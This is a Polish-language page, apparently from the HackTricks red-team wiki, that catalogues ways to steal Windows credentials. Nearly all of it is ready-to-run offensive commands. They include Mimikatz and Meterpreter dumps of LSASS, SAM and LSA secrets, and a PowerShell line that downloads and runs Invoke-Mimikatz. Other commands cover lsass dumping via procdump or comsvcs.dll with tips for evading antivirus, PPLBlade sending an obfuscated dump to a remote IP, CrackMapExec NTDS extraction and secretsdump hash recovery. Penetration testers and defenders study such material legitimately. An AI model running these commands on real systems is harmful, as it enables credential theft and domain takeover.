.. | ||
credentials-mimikatz.md | ||
credentials-protections.md | ||
README.md | ||
WTS-Impersonator.md | ||
wts-impersonator.md |
Kradzież poświadczeń Windows
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się sztuczkami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Poświadczenia Mimikatz
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
Znajdź inne rzeczy, które Mimikatz może zrobić na tej stronie.
Invoke-Mimikatz
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
Dowiedz się o możliwych zabezpieczeniach poświadczeń tutaj. Te zabezpieczenia mogą zapobiec Mimikatz w wydobywaniu niektórych poświadczeń.
Poświadczenia z Meterpreter
Użyj Wtyczki Poświadczeń którą stworzyłem, aby wyszukiwać hasła i hasze wewnątrz ofiary.
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump
#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"
Obejście AV
Procdump + Mimikatz
Ponieważ Procdump z SysInternals jest legalnym narzędziem Microsoftu, nie jest wykrywany przez Defendera.
Możesz użyć tego narzędzia do zrzutu procesu lsass, pobrania zrzutu i wyodrębnienia poświadczeń lokalnie z zrzutu.
{% code title="Dump lsass" %}
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
{% endcode %}
{% code title="Wyodrębnij dane uwierzytelniające z zrzutu" %}
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
{% endcode %}
Ten proces jest wykonywany automatycznie za pomocą SprayKatz: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24
Uwaga: Niektóre AV mogą wykrywać jako złośliwe użycie procdump.exe do zrzutu lsass.exe, ponieważ wykrywają ciąg "procdump.exe" i "lsass.exe". Dlatego jest bardziej dyskretne przekazanie jako argumentu PID lsass.exe do procdump zamiast nazwy lsass.exe.
Zrzut lsass z comsvcs.dll
DLL o nazwie comsvcs.dll znajdujący się w C:\Windows\System32
jest odpowiedzialny za zrzut pamięci procesu w przypadku awarii. Ten DLL zawiera funkcję o nazwie MiniDumpW
, zaprojektowaną do wywoływania za pomocą rundll32.exe
.
Nie ma znaczenia użycie pierwszych dwóch argumentów, ale trzeci jest podzielony na trzy komponenty. Identyfikator procesu do zrzutu stanowi pierwszy komponent, lokalizacja pliku zrzutu reprezentuje drugi, a trzeci komponent to ściśle słowo full. Nie istnieją alternatywne opcje.
Po przetworzeniu tych trzech komponentów, DLL angażuje się w tworzenie pliku zrzutu i przenoszenie pamięci określonego procesu do tego pliku.
Wykorzystanie comsvcs.dll jest możliwe do zrzutu procesu lsass, eliminując potrzebę przesyłania i uruchamiania procdump. Ta metoda jest opisana szczegółowo na https://en.hackndo.com/remote-lsass-dump-passwords/.
Następujące polecenie jest używane do wykonania:
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
Możesz zautomatyzować ten proces za pomocą lssasy.
Zrzut lsass za pomocą Menedżera zadań
- Kliknij prawym przyciskiem myszy na pasku zadań i wybierz Menedżera zadań
- Kliknij na Więcej szczegółów
- Wyszukaj proces "Local Security Authority Process" w zakładce Procesy
- Kliknij prawym przyciskiem myszy na proces "Local Security Authority Process" i wybierz "Utwórz plik zrzutu".
Zrzut lsass za pomocą procdump
Procdump to podpisany przez Microsoft plik binarny, który jest częścią zestawu sysinternals.
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
Dumpin lsass z PPLBlade
PPLBlade to narzędzie do zrzutu chronionych procesów, które wspiera obfuskację zrzutów pamięci i ich transfer na zdalne stacje robocze bez zapisywania ich na dysku.
Kluczowe funkcjonalności:
- Obejście ochrony PPL
- Obfuskacja plików zrzutów pamięci w celu unikania mechanizmów wykrywania opartych na sygnaturach Defendera
- Przesyłanie zrzutu pamięci metodami RAW i SMB bez zapisywania go na dysku (zrzut bezplikowy)
{% code overflow="wrap" %}
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
{% endcode %}
CrackMapExec
Zrzutuj hashe SAM
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
Zrzut sekretów LSA
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
Zrzut NTDS.dit z docelowego DC
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
Zrzutuj historię haseł NTDS.dit z docelowego DC
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
Pokaż atrybut pwdLastSet dla każdego konta NTDS.dit
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
Kradzież SAM i SYSTEM
Te pliki powinny być znajdowane w C:\windows\system32\config\SAM i C:\windows\system32\config\SYSTEM. Ale nie możesz ich po prostu skopiować w zwykły sposób, ponieważ są chronione.
Z rejestru
Najłatwiejszym sposobem na kradzież tych plików jest uzyskanie kopii z rejestru:
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
Pobierz te pliki na swoją maszynę Kali i wyodrębnij hashe używając:
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
Volume Shadow Copy
Możesz wykonać kopię chronionych plików za pomocą tej usługi. Musisz być administratorem.
Using vssadmin
Binarna wersja vssadmin jest dostępna tylko w wersjach Windows Server
vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
Ale możesz to zrobić również z Powershell. Oto przykład jak skopiować plik SAM (używany dysk twardy to "C:", a plik jest zapisywany w C:\users\Public), ale możesz to wykorzystać do kopiowania dowolnego chronionego pliku:
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}
Invoke-NinjaCopy
Na koniec możesz również użyć skryptu PS Invoke-NinjaCopy, aby skopiować SAM, SYSTEM i ntds.dit.
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
Aktywne Katalogi - NTDS.dit
Plik NTDS.dit jest znany jako serce Active Directory, przechowując kluczowe dane o obiektach użytkowników, grupach i ich członkostwie. To tutaj przechowywane są hash'e haseł dla użytkowników domeny. Plik ten jest bazą danych Extensible Storage Engine (ESE) i znajduje się w %SystemRoom%/NTDS/ntds.dit.
W tej bazie danych utrzymywane są trzy główne tabele:
- Tabela Danych: Ta tabela jest odpowiedzialna za przechowywanie szczegółów o obiektach, takich jak użytkownicy i grupy.
- Tabela Linków: Śledzi relacje, takie jak członkostwo w grupach.
- Tabela SD: Deskryptory zabezpieczeń dla każdego obiektu są przechowywane tutaj, zapewniając bezpieczeństwo i kontrolę dostępu do przechowywanych obiektów.
Więcej informacji na ten temat: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/
Windows używa Ntdsa.dll do interakcji z tym plikiem, a jest on używany przez lsass.exe. Następnie, część pliku NTDS.dit może być zlokalizowana w pamięci lsass
(możesz znaleźć ostatnio dostępne dane prawdopodobnie z powodu poprawy wydajności dzięki użyciu cache).
Deszyfrowanie hash'y w NTDS.dit
Hash jest szyfrowany 3 razy:
- Deszyfruj Klucz Szyfrowania Hasła (PEK) używając BOOTKEY i RC4.
- Deszyfruj hash używając PEK i RC4.
- Deszyfruj hash używając DES.
PEK ma tę samą wartość w każdym kontrolerze domeny, ale jest szyfrowany wewnątrz pliku NTDS.dit przy użyciu BOOTKEY pliku SYSTEM kontrolera domeny (jest inny między kontrolerami domeny). Dlatego, aby uzyskać dane uwierzytelniające z pliku NTDS.dit, potrzebujesz plików NTDS.dit i SYSTEM (C:\Windows\System32\config\SYSTEM).
Kopiowanie NTDS.dit za pomocą Ntdsutil
Dostępne od Windows Server 2008.
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
Możesz również użyć sztuczki z kopią zapasową woluminu, aby skopiować plik ntds.dit. Pamiętaj, że będziesz również potrzebować kopii pliku SYSTEM (ponownie, zrzutuj go z rejestru lub użyj sztuczki z kopią zapasową woluminu).
Ekstrakcja hashy z NTDS.dit
Gdy już zdobędziesz pliki NTDS.dit i SYSTEM, możesz użyć narzędzi takich jak secretsdump.py, aby ekstrahować hashe:
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
Możesz również wyodrębnić je automatycznie używając ważnego użytkownika z uprawnieniami administratora domeny:
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
Dla dużych plików NTDS.dit zaleca się ich ekstrakcję za pomocą gosecretsdump.
Na koniec możesz również użyć modułu metasploit: post/windows/gather/credentials/domain_hashdump lub mimikatz lsadump::lsa /inject
Ekstrakcja obiektów domeny z NTDS.dit do bazy danych SQLite
Obiekty NTDS można wyodrębnić do bazy danych SQLite za pomocą ntdsdotsqlite. Wyodrębniane są nie tylko sekrety, ale także całe obiekty i ich atrybuty do dalszej ekstrakcji informacji, gdy surowy plik NTDS.dit został już pobrany.
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
The SYSTEM
hive jest opcjonalny, ale pozwala na deszyfrowanie sekretów (hasła NT i LM, dodatkowe poświadczenia, takie jak hasła w postaci czystego tekstu, klucze kerberos lub zaufania, historie haseł NT i LM). Wraz z innymi informacjami, wyodrębniane są następujące dane: konta użytkowników i maszyn z ich haszami, flagi UAC, znacznik czasu ostatniego logowania i zmiany hasła, opisy kont, nazwy, UPN, SPN, grupy i członkostwa rekurencyjne, drzewo jednostek organizacyjnych i członkostwo, zaufane domeny z typem zaufania, kierunkiem i atrybutami...
Lazagne
Pobierz binarkę z tutaj. Możesz użyć tej binarki do wyodrębnienia poświadczeń z kilku programów.
lazagne.exe all
Inne narzędzia do wyodrębniania poświadczeń z SAM i LSASS
Windows credentials Editor (WCE)
To narzędzie może być używane do wyodrębniania poświadczeń z pamięci. Pobierz je z: http://www.ampliasecurity.com/research/windows-credentials-editor/
fgdump
Wyodrębnij poświadczenia z pliku SAM
You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe
PwDump
Wyodrębnij dane uwierzytelniające z pliku SAM
You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump
PwDump7
Pobierz go z: http://www.tarasco.org/security/pwdump_7 i po prostu wykonaj go, a hasła zostaną wyodrębnione.
Ochrona
Dowiedz się o niektórych zabezpieczeniach poświadczeń tutaj.
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.